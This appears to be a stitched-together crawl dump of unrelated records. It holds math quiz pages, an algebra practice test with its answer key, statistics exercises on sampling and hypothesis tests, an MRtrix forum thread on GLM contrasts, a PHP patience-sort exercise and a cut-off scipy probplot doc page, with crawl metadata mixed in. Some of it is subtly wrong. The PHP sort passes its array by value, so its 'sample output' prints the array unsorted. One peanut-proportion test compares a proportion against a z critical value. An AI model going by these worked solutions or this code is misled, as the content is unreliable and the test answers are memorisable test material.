object.\n\nParameters: **params : dict Estimator parameters. self : object Estimator instance.\n\n## Examples using `pyts.classification.BOSSVS`¶",
null,
"Bag-of-SFA Symbols in Vector Space (BOSSVS)"
]
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"https://pyts.readthedocs.io/en/0.10.0/_images/sphx_glr_plot_bossvs_thumb.png",
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https://allindiajobalerts.in/c/class-wise-quiz/mathematics-all/multiplication/ | [
"Roman Numerals Test For Grade 5 roman numerals quiz for not only 5th Grade students, any one can solve those who are interested, after solving u will get understand what i should know, i don’t know. it will know your self Roman Numerals Test For Grade 5 In ancient Rome, numbers were written with the Continue reading\n\n5th Grade Large Number Quiz for 4th and 5th standard and also it provides notes for students. Large Numbers: A number is number that specifies wide range of number interms of exponent i.e., or it may be billions or millions it determines on he system of counting, a large number that may use in our Continue reading\n\nQuiz on Measurement of Length Test-1 questions : 10 there is no time limit\n\nMathematics Quiz on highest prime factors Question: 10 There is no time limit\n\nMath’s Quiz on LCM, it contains = 10 questions, there is no time limit\n\nMultiplication and Division word Problems 5th Grade Multiplication and Division word Problems 5th Grade, for the question here you need to know bout how the calculation will be done through this, addition, substrcation, Multiplication and Division, Here we need to discuss only Multiplication and Division, How to solve what are steps to solve Multiplication Continue reading\n\nMathematics Multiplication Test – 1 Quiz"
]
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https://www.softmath.com/tutorials-3/algebra-formulas/math-practice-test-3.html | [
"English | Español\n\nTry our Free Online Math Solver!",
null,
"Online Math Solver\n\n Depdendent Variable\n\n Number of equations to solve: 23456789\n Equ. #1:\n Equ. #2:\n\n Equ. #3:\n\n Equ. #4:\n\n Equ. #5:\n\n Equ. #6:\n\n Equ. #7:\n\n Equ. #8:\n\n Equ. #9:\n\n Solve for:\n\n Dependent Variable\n\n Number of inequalities to solve: 23456789\n Ineq. #1:\n Ineq. #2:\n\n Ineq. #3:\n\n Ineq. #4:\n\n Ineq. #5:\n\n Ineq. #6:\n\n Ineq. #7:\n\n Ineq. #8:\n\n Ineq. #9:\n\n Solve for:\n\n Please use this form if you would like to have this math solver on your website, free of charge. Name: Email: Your Website: Msg:\n\nMath Practice Test\n\n____ 1. For the following function, first find all values of x such that",
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"then find all x such that",
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"",
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"____ 2. If one zero of the following function is 4, find the other two zeros.",
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"____ 3. Use the remainder theorem to find",
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"",
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"____ 4. Use the factor theorem to decide whether x-c is a factor of the polynomial.",
null,
"a. x - c is a factor\nb .x - c is not a factor\n\n____ 5. Use synthetic division to decide whether c is a zero of",
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".",
null,
"a. x - c is a zero\nb. x - c is not a zero\n\n____ 6. Find a polynomial with leading coefficient of 1, degree 3, and zeros: -5,0,9.",
null,
"____ 7. Use synthetic division to find the quotient and remainder if the first polynomial is divided by the second.",
null,
"____ 8. Find a polynomial",
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"of degree that has the indicated zeros and satisfies the given condition.",
null,
"____ 9. Find the fourth-degree polynomial function whose graph is shown in the figure.",
null,
"____ 10. A polynomial f ( x ) with real coefficients and leading coefficient 1 has the given zeros and degree. Express f ( x ) as a product of linear and quadratic polynomials with real coefficients that are irreducible over R.",
null,
"____ 11. Find the oblique asymptote of",
null,
"",
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"____ 12. Determine whether the function f is one-to-one",
null,
"a. one-to-one\nb. not one-to-one\n\n____ 13. Use the theorem on inverse functions to determine whether f and g are inverse functions of each other.",
null,
"a. f and g are inverse functions of each other.\nb. f and g are not inverse functions of each other.\n\n____ 14. Determine the range of",
null,
"for the function without actually finding",
null,
".\nHint: First find the domain and range of f",
null,
"____ 15. Find the inverse function of f",
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"____ 16. Solve the equation:",
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"",
null,
"____ 17. Sketch the graph of f if:",
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"____ 18. Find an exponential function of the form f (x) = bax that has the given y-intercept and passes through the point P:",
null,
"____ 19. The number of bacteria in a certain culture increased from 600 to 1,800 between 7:00 A.M. and 9:00 A.M. Assuming the growth is exponential, the number f (t) of bacteria t hours after 7:00 A.M. is given by:",
null,
"Estimate the number of bacteria in the culture at 10:00 A.M.",
null,
"____ 20. The radioactive bismuth isotope 210Bi has a half-life of 5 days. If there is 100 milligrams of 210Bi present at t = 0, then the amount f(t) remaining after t days is given by:",
null,
"How much 210Bi remains after 25 days?\n\na.8.125 milligrams\nb.12.125 milligrams\nc.2.125 milligrams\nd.3.125 milligrams\ne.5.125 milligrams\n\n____ 21. In 1980, the population of blue whales in the southern hemisphere was thought to number 5,000. The population N(t) has been decreasing according to the formula",
null,
"where t is in years and t = 0 corresponds to 1980. Predict the population in the year 2010 if this trend continues.",
null,
"____ 22. Use the graph of y = ex to help sketch the graph of",
null,
"",
null,
"____ 23. If \\$900 is deposited in a savings account that pays interest at a rate of",
null,
"per year compounded continuously, find the balance after 7 years.\n\na.\\$1,369.77\nb.\\$581.08\nc.\\$1,393.95\nd.\\$1,418.56\ne.\\$3,484.87\n\n____ 24. An investment of \\$835 increased to \\$16,771 in 20 years. If the interest was compounded continuously, find the interest rate.\n\na.14%\nb.30%\nc.17%\nd.15%\ne.12%\n\n____ 25. The 1980 population of the United States was approximately 227 million, and the population has been growing continuously at a rate of 0.7% per year. Predict the population in the year 2040 if this growth trend continues.\n\na.322 million people\nb.229 million people\nc.345 million people\nd.382 million people\ne.379 million people\n\n____ 26. Change to exponential form.",
null,
"",
null,
"____ 27. Solve the equation.",
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"____ 28. Solve the equation.",
null,
"____ 29. Express in terms of logarithms of x , y, z, or w.",
null,
"____ 30. Write the expression as one logarithm.",
null,
"",
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"____ 31. Solve the equation.",
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"____ 32. Find the exact solution, using common logarithms , and an approximation of the solution of the equation to two decimal places.",
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"____ 33. Use the compound interest formula to determine how long it will take for a sum of money to double if it is invested at a rate of 6% per year compounded monthly.\n\na.11.58 years\nb.16.67 years\nc.11.90 years\nd.14.75 years\ne.10.41 years\n\nMultiple Response\nIdentify one or more choices that best complete the statement or answer the question.\n\n____ 34. Find the zeros of",
null,
", and state the multiplicity of each zero.",
null,
"",
null,
"____ 35. Use Descartes' rule of signs to determine the number of possible positive, negative, and nonreal complex solutions of the equation.",
null,
"a.0 positive roots , 3 negative roots , 0 nonreal roots\nb.2 positive roots, 1 negative root, 0 nonreal roots\nc.1 positive root, 0 negative roots, 2 nonreal roots\nd.1 positive root, 2 negative roots, 0 nonreal roots\ne.3 positive roots, 0 negative roots, 0 nonreal roots\nf.0 positive roots, 0 negative roots, 3 nonreal roots\n\npracticetest2_ch3_4\n\nMULTIPLE CHOICE\n\n1. ANS:E\n2. ANS:E\n3. ANS:B\n4. ANS:A\n5. ANS: A\n6. ANS:A\n7. ANS:B\n8. ANS:A\n9. ANS: E\n10. ANS: B\n11. ANS: D\n12. ANS:A\n13. ANS:A\n14. ANS: E\n15. ANS: C\n16. ANS: E\n17. ANS: B\n18. ANS: C\n19. ANS: D\n20. ANS: D\n21. ANS: B\n22. ANS: C\n23. ANS: C\n24. ANS: D\n25. ANS: C\n26. ANS: C\n27. ANS: E\n28. ANS: B\n29. ANS: A\n30. ANS: C\n31. ANS: B\n32. ANS: A\n33. ANS: A\n\nMULTIPLE RESPONSE\n\n34. ANS: B, D, F\n35. ANS: C, E\n\n Prev Next"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8105912,"math_prob":0.9848149,"size":5163,"snap":"2019-43-2019-47","text_gpt3_token_len":1544,"char_repetition_ratio":0.14033727,"word_repetition_ratio":0.026150627,"special_character_ratio":0.33565757,"punctuation_ratio":0.19984387,"nsfw_num_words":2,"has_unicode_error":false,"math_prob_llama3":0.9979086,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98],"im_url_duplicate_count":[null,null,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,4,null,2,null,2,null,2,null,4,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-15T12:22:40Z\",\"WARC-Record-ID\":\"<urn:uuid:33a78591-2967-402d-b66f-fd3dc7f00d60>\",\"Content-Length\":\"96915\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:28ca6e86-e74a-4a52-b74f-084e7b3cc411>\",\"WARC-Concurrent-To\":\"<urn:uuid:62baecac-7bd9-4e7f-985d-0e140de23a9e>\",\"WARC-IP-Address\":\"52.43.142.96\",\"WARC-Target-URI\":\"https://www.softmath.com/tutorials-3/algebra-formulas/math-practice-test-3.html\",\"WARC-Payload-Digest\":\"sha1:MWZ23QOJF5JZPHEBGLMOFGAUHKBEDB5R\",\"WARC-Block-Digest\":\"sha1:R4BYDC5C6ZJHH3XL7M3PR2F4UGE3MIMG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986658566.9_warc_CC-MAIN-20191015104838-20191015132338-00078.warc.gz\"}"} |
https://samacheerkalviguru.com/samacheer-kalvi-12th-business-maths-solutions-chapter-8-additional-problems/ | [
"## Tamilnadu Samacheer Kalvi 12th Business Maths Solutions Chapter 8 Sampling Techniques and Statistical Inference Additional Problems\n\nQuestion 1.\nNon sampling error is reduced by ________\n(a) Increasing sample size\n(b) Decreasing sample size\n(c) Reducing amount of data\n(d) None of these\n(d) None of these\n\nQuestion 2.\nAny numerical value calculated from sample data is called ______\n(a) Error\n(b) Statistic\n(c) Bias\n(d) Mean\n(b) Statistic",
null,
"Question 3.\nIn sampling with replacement a sampling unit can be selected _______\n(a) Only once\n(b) More than one time\n(c) Less than one time\n(d) None of above\n(b) More than one time\n\nQuestion 4.\nStandard deviation of sampling distribution of any statistic is called ________\n(a) Sampling error\n(b) Type-I error\n(c) Standard error\n(d) Non-sampling error\n(c) Standard error\n\nQuestion 5.\nThe difference between statistic and parameter is called ________\n(a) Random error\n(b) Sampling error\n(c) Standard error\n(d) Bias\n(e) Error\n(e) Error",
null,
"Question 6.\nIn random sampling, the probability of selecting an item from the population is _______\n(a) unknown\n(b) known\n(c) undecided\n(d) zero\n(b) known\n\nQuestion 7.\nMatch the following:\n\n (i) Type I error (a) determine whether a statistical result is significant (ii) Type II error (b) Left-tailed test (iii) Hypothesis testing (c) reject a true null hypothesis (iv) H1 : µ > µ0 (d) do not reject a false null hypothesis (v) H1 : µ < µ0 (e) Right-tailed test\n\n(i) – (c)\n(ii) – (d)\n(iii) – (a)\n(iv) – (e)\n(v) – (b)",
null,
"Question 8.\nFill in the blanks:\n\n1. Any statement whose validity is tested on the basis of a sample is called ________\n2. The alternative hypothesis is also called _______\n3. The probability of rejecting the null hypothesis when it is true is called ________\n4. The hypothesis µ ≤ 10 is a _______\n5. If a hypothesis specifies the population distribution it is called ______\n\n1. Statistical hypothesis\n2. Research hypothesis\n3. Level of significance\n4. Composite hypothesis\n5. Simple hypothesis\n\nQuestion 9.\nNull and alternative hypothesis are statements about ________\n(a) population parameters\n(b) sample parameters\n(c) sample statistics\n(d) none of the above\n(a) population parameters\n\n2 and 3 Mark Questions\n\nQuestion 1.\nA random sample of size 50 with mean 67.9 is drawn from a normal population. If the S.E of the sample mean is √0.7, find a 95% confidence interval for the population mean.\nSolution:\nn = 50, $$\\bar{x}$$ = 67.9\n95% confidence limits for the population mean µ are",
null,
"Thus the 95% confidence intervals for estimating µ is given by (66.26, 69.54)",
null,
"Question 2.\nA random sample of 500 apples was taken from large consignment and 45 of them were found to be bad. Find the limits at which the bad apples lie at 99% confidence level.\nSolution:\nSample size n = 500\nProportion of bad apples P = $$\\frac{45}{500}$$ = 0.09\nSo proportion of good apples Q = 1 – 0.09 = 0.91\nThe confidence limits for population proportion are given by,",
null,
"= (0.09 – (2.58) (0.013), 0.09 + (2.58) (0.013)) .\n= (0.09 – 0.034, 0.09 + 0.034)\n= (0.056, 0.124)\nThus the bad apples lie between 5.6% and 12.4%\n\nQuestion 3.\nA sample of 400 students is found to have a mean height of 171.38 cms can it be regarded as a sample from a large population with mean height 171.17 cms and S.D 3.30 cms?\nSolution:\nGiven\nSample size n = 400\nSample mean $$\\bar{x}$$ = 171.38 cm\nPopulation mean µ = 171.17 cm\nPopulation SD σ = 3.30 cm\nH0 : µ = 171.17 cm\nH1 : µ ≠ 171.17 cm\nTest statistic:",
null,
"The table value of $$z_{\\alpha / 2}$$ at 5% level is 1.96. Since Z < $$z_{\\alpha / 2}$$, H0 is accepted. Therefore the given sample can be regarded as one from the population with mean 171.17 cm.",
null,
"Question 4.\nAn automatic machine fills tea in sealed tins with a mean weight of tea as 1 kg and S.D 1 gram. A random sample of 50 tins was examined and it was found that their mean weight was 999.5 grams. Is the machine working properly?\nSolution:\nGiven\nSample size n = 50\nSample mean $$\\bar{x}$$ = 999.5 grams\nPopulation mean µ = 1000 grams\nPopulation SD σ = 1 gram\nH0 : µ = 1 kg\nH1 : µ ≠ 1 kg\nTest statistic",
null,
"The table value of $$z_{\\alpha / 2}$$ at 1% level = 2.58. Since |Z| > $$z_{\\alpha / 2}$$, H0 is rejected. Therefore the machine is not working properly.\n\n5 Marks Questions\n\nQuestion 1.\nA simple random sample of size 100 has mean\n(а) 15, the population variance being 25. Find an interval estimate of the population mean with a confidence level of 95% and 99%\n(b) If the population variance is not given, what should be done to find out the required estimates?\nSolution:\n(a) Given\nSample size n = 100\nSample mean $$\\bar{x}$$ = 15\nPopulation SD σ = 5\nThe 95% confidence interval for the population mean is $$\\bar{x} \\pm \\mathrm{Z}_{\\alpha / 2} \\frac{\\sigma}{\\sqrt{n}}$$\nHere $$z_{\\alpha / 2}$$ = 1.96. So we get\n= 15 ± (1.96) ($$\\frac{5}{\\sqrt{100}}$$)\n= 15 ± (1.96) (0.5)\n= 15 ± 0.98\n= 14.02 and 15.98\nTherefore 95% confidence interval for population mean µ is (14.02, 15.98)\nThe 99% confidence interval is $$\\bar{x} \\pm 2.58 \\frac{\\sigma}{\\sqrt{n}}$$\n= 15 ± 2.58 ($$\\frac{5}{\\sqrt{100}}$$)\n= 15 ± 2.58 (0.5)\n= 13.71 and 16.29\nTherefore 99% confidence interval for the population mean µ is (13.71, 16.29)\n(b) If population S.D a is not known, then the sample S.D can be used in the place of o in estimating the confidence interval.",
null,
"Question 2.\nA factory is producing 50,000 pairs of shoes daily. From a sample of 500 pairs, 2% were found to be of sub-standard quality. Estimate the number of pairs that can be reasonably expected to be spoiled at 95% level of confidence.\nSolution:\nN = 50,000, n = 500, P = $$\\frac{2}{100}$$, Q = $$\\frac{98}{100}$$\nThe estimated percentage of spoiled pairs in daily production = $$\\frac{2}{100}$$ × 50,000 = 1000\nThe limits for the number of spoiled pans at 95% level of confidence",
null,
"Question 3.\nA company that packages peanuts states that at a maximum 6% of the peanut shells contain no nuts. At random, 300 peanuts were selected and 21 of them were empty. With a significance level of 1% can the statement made by the company be accepted?\nSolution:\nThe population proportion P = 6% = 0.06\nThe null hypothesis: H0 : P ≤ 0.06\nAlternative hypothesis: H1 : P > 0.06\nFor α = 1% = 0.01. Zα = 2.33\nThe test statistic is P + 2.33 ($$\\sqrt{\\frac{(0.06)(0.94)}{300}}$$) = 0.092\n(where n = 300, P = 0.06, Q = 0.94)\nSince the calculated value is less than the table value, 0.092 < 2.33,we accept the null hypothesis H0.\nHence the statement of the company can be accepted.",
null,
"Question 4.\nA school principal claims that the students in his school are above average intelligence. A random sample of 30 students IQ scores has a mean score of 112.5. The mean population IQ is 100 with an SD of 15. Is there sufficient evidence to support the principal’s claim?\nSolution:\nGiven\nPopulation mean µ = 100\nPopulation SD σ = 15\nSample size n = 30\nSample mean $$\\bar{x}$$ = 112.5\nNull hypothesis H0 : µ = 100\n(the students have average I.Q)\nAlternative hypothesis H1 : µ > 100\n(the students have above average I.Q scores)",
null,
"Let the significance level α = 0.05. The table value Zα = 1.645, since this is one-tailed test.\nTest Statistic:",
null,
"Since 4.56 > 1.645 (ie) Z > Zα at 5% level, we reject the null hypothesis. Hence we conclude that the students have above average IQ scores. So the principal’s claim is right.",
null,
"Question 5.\nBoys of a certain age are known to have a mean weight of 85 pounds. A complaint is made that the boys living in hostels are underfed. So a sample of 25 boys are weighed and ‘ found to have a mean weight of 80.94 pounds. The population S.D is 11.6. What should be concluded about the complaint?\nSolution:\nGiven n = 25, µ = 85, $$\\bar{x}$$ = 80.94, and σ = 11.6\nNull hypothesis H0 : µ = 85 (the boys are not underfed)\nAlternative hypothesis H1 : µ < 85 (the boys are underfed)\nTest statistic:",
null,
"Let us take the significance level α = 0.05. The table value is Zα = -1.645",
null,
"Now -1.75 < -1.645 (i.e) Z < Zα. Therefore we reject the null hypothesis. Since the calculated value falls in the rejection region. Hence we conclude that the boys are underfed. So the complaint should be addressed immediately."
]
| [
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http://kwiznet.com/p/takeQuiz.php?ChapterID=11650&CurriculumID=49&NQ=8&Num=6.7 | [
"Email us to get an instant 20% discount on highly effective K-12 Math & English kwizNET Programs!\n\nOnline Quiz (WorksheetABCD)\n\nQuestions Per Quiz = 2 4 6 8 10\n\nHigh School Mathematics - 26.7 Inverse Matrix\n\n Method:- 1. Check whether the given matrix 'A' is a singular or non-singular matrix. That is |A| � 0. 2. If A is singular, A-1 does not exit. If A is non-singular proceed to find the inverse of the gives matrix. 3. Interchanging the elements of the principal diagonal of A. 4. Change the sign of the other two elements in A. 5. Multiply the resultant matrix with the scalar 1/(ad-bc).",
null,
"Directions: Find the inverse of the given matrix. Also write at least ten examples of your own.\n Q 1:",
null,
"cbda Q 2:",
null,
"abcd Q 3:",
null,
"cadb Q 4:",
null,
"abcd Q 5:",
null,
"none of the choicesbca Q 6:",
null,
"cbad Question 7: This question is available to subscribers only! Question 8: This question is available to subscribers only!"
]
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"http://kwiznet.com/px/homes/i/math/G10/Matrices/G10_matrix_Inverse_Of_Matrix.jpg",
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"http://kwiznet.com/px/homes/i/math/G10/Matrices/G10_matrix_Inverse_Of_Matrix_Question_No.3.jpg",
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"http://kwiznet.com/px/homes/i/math/G10/Matrices/G10_matrix_Inverse_Of_Matrix_Question_No.7.jpg",
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"http://kwiznet.com/px/homes/i/math/G10/Matrices/G10_matrix_Inverse_Of_Matrix_Question_No.4.jpg",
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https://community.mrtrix.org/t/cfe-multiple-partial-correlation/1879/2 | [
"",
null,
"# CFE Multiple/Partial Correlation\n\nHello all,\nI’d like to run some multiple and partial correlation analyses using CFE. I have a single group with 3 partially correlated, continuous traitlike variables for each subject. I am not an expert in contrast matrices, so I wanted to see if I could get some help constructing the appropriate contrast matrices. Assuming I have a design matrix that is a column of 1’s, and then 3 columns (one for each continuous variable):\n\n1. What would be the correct contrast matrix for a full multiple regression? Would it just be [0 1 1 1]?\n2. What about partial correlations? If I’m interested in variable 1, is it just [0 1 0 0]?\n3. Do I need to de-mean the variables in advance?\n4. Would the negative option here be the equivalent of making any 1’s negative? (Test for negative correlation)\n\nHi John,\n\nWhile I feel as though my competence with the GLM is improving, I actually don’t have much ‘conventional’ stats experience, so I often run into issues trying to translate between what users are trying to communicate, and a numerical expression of the model & hypothesis.\n\nIn this case, I’m stuck on “full multiple regression”. What I suspect this phrase is supposed to be referring to is that all variables of interest are being regressed against the data simultaneously within a single model. If this is the case, then it’s the inclusion of all three variables within your design matrix that is providing the “full multiple regression”. The problem then is that this provides no information about your hypothesis regarding how the data may fit this model.\n\nIf by “partial correlations” you mean how your measurement (e.g. FD / FC / FDC within FBA) varies as a function of a particular variable, specifically within a model that in fact regresses against all variables at once, then yes: `[0 1 0 0]` will give you the rate of change of measurement variable as a function of explanatory variable 1; similarly `[0 0 1 0]` for variable 2 and `[0 0 0 1]` for variable 3.\n\nUsing the `-negative` option allows you to test for both positive values of (rate of change of measurement variable as a function of explanatory variable), and negative values of that rate-of-change, within a single execution of `fixelcfestats`. This is equivalent to e.g. running it once with contrast `[0 1 0 0]`, and then again with `[0 -1 0 0]`; but doing it in a single execution is faster, as you only need to build the fixel-fixel connectivity matrix once. You however can’t yet test multiple distinct hypotheses within a single `fixelcfestats` run; but that functionality is on its way.\n\nWhether or not to de-mean variables in the design matrix can be context-dependent. Here, whether or not you de-mean influences the extent to which you can interpret directly the beta values that the GLM yields. However I might dodge that discussion for brevity this time around. The fundamental outcome of your experiment should not change depending on whether or not you de-mean; unless your explanatory variables vary wildly in magnitude (e.g. one variable has values of ~ 1e-6, another has values of ~ 1e+6), in which case demeaning the variables (& modulating to unity variance) may provide something akin to preconditioning for the GLM.\n\nP.S. If, with Point 1, you were in fact referring to a hypothesis more akin to “Do any of these variables influence the observed measurement?”, then in GLM-speak this would be an F-test with matrix contrast. This is another capability that is not yet available in the public code but has been implemented and is on its way.\n\nRob\n\nHi Rob,\nThanks for the helpful reply. Your readings of my intended models are right. In this case, the 3 variables of interest are correlated (and conceptually related). The idea would be that (1) would be a sort of omnibus test, and subsequent tests would look for any variance in FD/FC/FDC associated with each individual measure (while controlling for the others). So, for (1), we want to be testing the hypothesis that a fixel-stat covaries with each metric in the same direction. In that case, does the [0 1 1 1] contrast make sense?\n\nJohn\n\nSo, for (1), we want to be testing the hypothesis that a fixel-stat covaries with each metric in the same direction . In that case, does the [0 1 1 1] contrast make sense?\n\nAgain, it’s slightly ambiguous translating between your description and what actually happens within the GLM. I’ll try to describe what this would actually do, and you can comment on whether this is in fact what you’re looking for, or if not, where the difference lies.\n\nLet’s say you have three covariates: `A`, `B`, and `C`; and you’re going to provide fixel-wise FD measures as your input. By defining the contrast `[ 0 1 1 1 ]`, your hypothesis is:\n\n``````H1: dFD/dA + dFD/dB + dFD/dC > 0\n``````\n\nThat is, the sum of rates of change of FD with respect to the three measures is expected to be zero when the data are permuted, but greater than zero in the non-permuted data.\n\nSo there’s a few things to be aware of here:\n\n• This doesn’t require that all three relationships must be positive, only that the sum of the three is possible.\n\n• If FD is strongly negatively correlated with one of the three variables, that may effectively cancel out the contribution from the other two.\n\n• It assumes that the addition of those rates of change makes sense, even though various nuisance regressors quite often come with different units and/or magnitudes.\n\n• A strong negative association will not be identified by this test.\n\nGiven your description of this as seeking an “omnibus” test, I suspect that an F-test would be more faithful to what you’re actually trying to achieve, even though negative correlations would contribute to the statistic.\n\n2 Likes\n\nThanks, Rob. This is very helpful. I think you’re right that the F-test you describe is more faithful to what I’m going for. Any idea when that might be implemented? I’d be curious to hear about any other statistical developments for FBA as well.\n\nJohn"
]
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null,
"https://community.mrtrix.org/uploads/default/original/2X/7/7e4c8dfd24e886b94d8797b0dd2b558afbebc7d3.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.9211803,"math_prob":0.884637,"size":2725,"snap":"2020-45-2020-50","text_gpt3_token_len":605,"char_repetition_ratio":0.1168688,"word_repetition_ratio":0.025751073,"special_character_ratio":0.21834862,"punctuation_ratio":0.08918406,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9629957,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-31T09:35:30Z\",\"WARC-Record-ID\":\"<urn:uuid:121cce3e-7e6e-4e70-8f26-7771dd905803>\",\"Content-Length\":\"26492\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2ace5592-6792-4e99-9acd-4b07c9aa95ef>\",\"WARC-Concurrent-To\":\"<urn:uuid:87fb1e7b-906b-4e30-83f0-33109cb444cf>\",\"WARC-IP-Address\":\"45.55.204.183\",\"WARC-Target-URI\":\"https://community.mrtrix.org/t/cfe-multiple-partial-correlation/1879/2\",\"WARC-Payload-Digest\":\"sha1:B5EHLAMPGAJZ56QR45WLFX2TI3GAYDJC\",\"WARC-Block-Digest\":\"sha1:SKSHPWUGLOPSKBQG2NL25BSBG3MM5TEA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107917390.91_warc_CC-MAIN-20201031092246-20201031122246-00298.warc.gz\"}"} |
https://www.w3resource.com/php-exercises/searching-and-sorting-algorithm/searching-and-sorting-algorithm-exercise-16.php | [
" PHP: Sort a list of elements using Patience sort - w3resource\n\n# PHP Searching and Sorting Algorithm: Patience sort\n\n## PHP Searching and Sorting Algorithm: Exercise-16 with Solution\n\nWrite a PHP program to sort a list of elements using Patience sort.\nPatience sorting is a sorting algorithm inspired by and named after, the card game patience. A variant of the algorithm efficiently computes the length of a longest increasing subsequence in a given array.\nThe algorithm's name derives from a simplified variant of the patience card game. This game begins with a shuffled deck of cards. These cards are dealt one by one into a sequence of piles on the table, according to the following rules.\n\n• Initially, there are no piles. The first card dealt forms a new pile consisting of the single card.\n• Each subsequent card is placed on the leftmost existing pile whose top card has a value greater than or equal the new card's value, or to the right of all of the existing piles, thus forming a new pile.\n• When there are no more cards remaining to deal, the game ends.\n\nThis card game is turned into a two-phase sorting algorithm, as follows. Given an array of n elements from some totally ordered domain, consider this array as a collection of cards and simulate the patience sorting game. When the game is over, recover the sorted sequence by repeatedly picking off the minimum visible card; in order words, perform an p-way merge of the p piles, each of which is internally sorted.\n\nSample Solution :\n\nPHP Code :\n\n``````<?php\nclass PilesHeap extends SplMinHeap {\npublic function compare(\\$pile1, \\$pile2) {\nreturn parent::compare(\\$pile1->top(), \\$pile2->top());\n}\n}\nfunction patience_sort(\\$n) {\n\\$piles = array();\n// sort into piles\nforeach (\\$n as \\$x) {\n// binary search\n\\$low = 0; \\$high = count(\\$piles)-1;\nwhile (\\$low <= \\$high) {\n\\$mid = (int)((\\$low + \\$high) / 2);\nif (\\$piles[\\$mid]->top() >= \\$x)\n\\$high = \\$mid - 1;\nelse\n\\$low = \\$mid + 1;\n}\n\\$i = \\$low;\nif (\\$i == count(\\$piles))\n\\$piles[] = new SplStack();\n\\$piles[\\$i]->push(\\$x);\n}\n// priority queue allows us to merge piles efficiently\n\\$heap = new PilesHeap();\nforeach (\\$piles as \\$pile)\n\\$heap->insert(\\$pile);\nfor (\\$c = 0; \\$c < count(\\$n); \\$c++) {\n\\$smallPile = \\$heap->extract();\n\\$n[\\$c] = \\$smallPile->pop();\nif (!\\$smallPile->isEmpty())\n\\$heap->insert(\\$smallPile);\n}\nassert(\\$heap->isEmpty());\n}\n\\$a = array(100, 54, 7, 2, 5, 4, 1);\npatience_sort(\\$a);\nprint_r(\\$a);\n?>\n```\n```\n\nSample Output:\n\n```Array\n(\n => 100\n => 54\n => 7\n => 2\n => 5\n => 4\n => 1\n)\n```\n\nFlowchart :",
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"PHP Code Editor:\n\nHave another way to solve this solution? Contribute your code (and comments) through Disqus.\n\nWhat is the difficulty level of this exercise?\n\nTest your Programming skills with w3resource's quiz.\n\n"
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"https://www.w3resource.com/w3r_images/searching-and-sorting-algorithm-exercise-16.png",
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https://docs.scipy.org/doc/scipy-0.19.1/reference/generated/scipy.stats.probplot.html | [
"# scipy.stats.probplot¶\n\nscipy.stats.probplot(x, sparams=(), dist='norm', fit=True, plot=None, rvalue=False)[source]\n\nCalculate quantiles for a probability plot, and optionally show the plot.\n\nGenerates a probability plot of sample data against the quantiles of a specified theoretical distribution (the normal distribution by default). probplot optionally calculates a best-fit line for the data and plots the results using Matplotlib or a given plot function.\n\nParameters: x : array_like Sample/response data from which probplot creates the plot. sparams : tuple, optional Distribution-specific shape parameters (shape parameters plus location and scale). dist : str or stats.distributions instance, optional Distribution or distribution function name. The default is ‘norm’ for a normal probability plot. Objects that look enough like a stats.distributions instance (i.e. they have a ppf method) are also accepted. fit : bool, optional Fit a least-squares regression (best-fit) line to the sample data if True (default). plot : object, optional If given, plots the quantiles and least squares fit. plot is an object that has to have methods “plot” and “text”. The matplotlib.pyplot module or a Matplotlib Axes object can be used, or a custom object with the same methods. Default is None, which means that no plot is created. (osm, osr) : tuple of ndarrays Tuple of theoretical quantiles (osm, or order statistic medians) and ordered responses (osr). osr is simply sorted input x. For details on how osm is calculated see the Notes section. (slope, intercept, r) : tuple of floats, optional Tuple containing the result of the least-squares fit, if that is performed by probplot. r is the square root of the coefficient of determination. If fit=False and plot=None, this tuple is not returned.\n\nNotes\n\nEven if plot is given, the figure is not shown or saved by probplot; plt.show() or plt.savefig('figname.png') should be used after calling probplot.\n\nprobplot generates a probability plot, which should not be confused with a Q-Q or a P-P plot. Statsmodels has more extensive functionality of this type, see statsmodels.api.ProbPlot.\n\nThe formula used for the theoretical quantiles (horizontal axis of the probability plot) is Filliben’s estimate:\n\nquantiles = dist.ppf(val), for\n\n0.5**(1/n), for i = n\nval = (i - 0.3175) / (n + 0.365), for i = 2, ..., n-1\n1 - 0.5**(1/n), for i = 1\n\n\nwhere i indicates the i-th ordered value and n is the total number of values.\n\nExamples\n\n>>> from scipy import stats\n>>> import matplotlib.pyplot as plt\n>>> nsample = 100\n>>> np.random.seed(7654321)\n\n\nA t distribution with small degrees of freedom:\n\n>>> ax1 = plt.subplot(221)\n>>> x = stats.t.rvs(3, size=nsample)\n>>> res = stats.probplot(x, plot=plt)\n\n\nA t distribution with larger degrees of freedom:\n\n>>> ax2 = plt.subplot(222)\n>>> x = stats.t.rvs(25, size=nsample)\n>>> res = stats.probplot(x, plot=plt)\n\n\nA mixture of two normal distributions with broadcasting:\n\n>>> ax3 = plt.subplot(223)\n>>> x = stats.norm.rvs(loc=[0,5], scale=[1,1.5],\n... size=(nsample//2,2)).ravel()\n>>> res = stats.probplot(x, plot=plt)\n\n\nA standard normal distribution:\n\n>>> ax4 = plt.subplot(224)\n>>> 